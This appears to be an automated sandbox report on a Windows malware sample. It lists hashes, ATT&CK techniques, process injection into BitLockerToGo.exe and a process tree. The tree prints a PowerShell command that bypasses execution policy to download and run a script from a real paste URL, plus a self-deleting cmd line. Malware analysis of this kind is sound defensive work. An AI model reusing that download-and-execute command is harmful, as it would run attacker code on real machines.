c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b

General

Target

c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b.exe
Size

9.3MB
MD5

33925f6fde07d5f6b71275c2bd3702bc
SHA1

a46513127a5afcd74b8d2b3a698d46a31cff1c36
SHA256

c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b
SHA512

af2a309b0e6f2491a0653836987d5b75c6d8514328c29f510d9d790f2b14e99d3d0d8b4ccc17f9b114d3c4a9eb193bfa85e45e551f5125773aa58a70daabd13f
SSDEEP

196608:D3lIPP8CtyV49A9nE0h7ln0S7wP40gpQVawhO9vH1bzwDIw0KDw2j9wOMcxsj0tg:DaPECtyEyclC

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
25	3864	powershell.exe
34	3864	powershell.exe
37	3864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3864	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
33	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2336 set thread context of 2932	2336	c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b.exe	92

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	whoami.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe
Token: SeDebugPrivilege	3696	whoami.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 2932	2336	c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b.exe	92
PID 2336 wrote to memory of 2932	2336	c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b.exe	92
PID 2336 wrote to memory of 2932	2336	c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b.exe	92
PID 2336 wrote to memory of 2932	2336	c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b.exe	92
PID 2336 wrote to memory of 2932	2336	c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b.exe	92
PID 2932 wrote to memory of 3864	2932	BitLockerToGo.exe	93
PID 2932 wrote to memory of 3864	2932	BitLockerToGo.exe	93
PID 2932 wrote to memory of 3864	2932	BitLockerToGo.exe	93
PID 2932 wrote to memory of 1728	2932	BitLockerToGo.exe	96
PID 2932 wrote to memory of 1728	2932	BitLockerToGo.exe	96
PID 2932 wrote to memory of 1728	2932	BitLockerToGo.exe	96
PID 3864 wrote to memory of 3696	3864	powershell.exe	99
PID 3864 wrote to memory of 3696	3864	powershell.exe	99
PID 3864 wrote to memory of 3696	3864	powershell.exe	99

C:\Users\Admin\AppData\Local\Temp\c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b.exe
"C:\Users\Admin\AppData\Local\Temp\c3169aabc913316b0c5826521fd77f22493d9d76546d60fd2445fa204667174b.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/3x38v3phae6o5fkexuwrvtfk/raw" ) ) )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3864
  - - C:\Windows\SysWOW64\whoami.exe
      "C:\Windows\system32\whoami.exe" /groups /fo csv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3696
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

1

T1070.004

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vezc4lfd.uvn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2336-5-0x00007FF7AF830000-0x00007FF7B0223000-memory.dmp

Filesize
9.9MB

Download
memory/2932-6-0x0000000000B40000-0x0000000000B63000-memory.dmp

Filesize
140KB

Download
memory/2932-8-0x0000000000B40000-0x0000000000B63000-memory.dmp

Filesize
140KB

Download
memory/2932-7-0x0000000000B40000-0x0000000000B63000-memory.dmp

Filesize
140KB

Download
memory/2932-28-0x0000000000B40000-0x0000000000B63000-memory.dmp

Filesize
140KB

Download
memory/2932-4-0x0000000000B40000-0x0000000000B63000-memory.dmp

Filesize
140KB

Download
memory/3864-26-0x0000000005DC0000-0x0000000005DDE000-memory.dmp

Filesize
120KB

Download
memory/3864-30-0x0000000006310000-0x000000000632A000-memory.dmp

Filesize
104KB

Download
memory/3864-13-0x0000000004E10000-0x0000000004E32000-memory.dmp

Filesize
136KB

Download
memory/3864-14-0x0000000004EB0000-0x0000000004F16000-memory.dmp

Filesize
408KB

Download
memory/3864-15-0x0000000005590000-0x00000000055F6000-memory.dmp

Filesize
408KB

Download
memory/3864-12-0x0000000004F60000-0x0000000005588000-memory.dmp

Filesize
6.2MB

Download
memory/3864-25-0x0000000005780000-0x0000000005AD4000-memory.dmp

Filesize
3.3MB

Download
memory/3864-10-0x0000000002800000-0x0000000002836000-memory.dmp

Filesize
216KB

Download
memory/3864-27-0x0000000005E10000-0x0000000005E5C000-memory.dmp

Filesize
304KB

Download
memory/3864-9-0x0000000074B3E000-0x0000000074B3F000-memory.dmp

Filesize
4KB

Download
memory/3864-29-0x0000000007640000-0x0000000007CBA000-memory.dmp

Filesize
6.5MB

Download
memory/3864-11-0x0000000074B30000-0x00000000752E0000-memory.dmp

Filesize
7.7MB

Download
memory/3864-31-0x0000000007470000-0x000000000747A000-memory.dmp

Filesize
40KB

Download
memory/3864-32-0x00000000091F0000-0x000000000971C000-memory.dmp

Filesize
5.2MB

Download
memory/3864-33-0x0000000008E90000-0x0000000009052000-memory.dmp

Filesize
1.8MB

Download
memory/3864-35-0x0000000007540000-0x0000000007562000-memory.dmp

Filesize
136KB

Download
memory/3864-34-0x0000000007590000-0x0000000007626000-memory.dmp

Filesize
600KB

Download
memory/3864-36-0x0000000009CD0000-0x000000000A274000-memory.dmp

Filesize
5.6MB

Download
memory/3864-38-0x0000000004B20000-0x0000000004B32000-memory.dmp

Filesize
72KB

Download
memory/3864-138-0x00000000097C0000-0x0000000009852000-memory.dmp

Filesize
584KB

Download
memory/3864-146-0x0000000074B30000-0x00000000752E0000-memory.dmp

Filesize
7.7MB

Download

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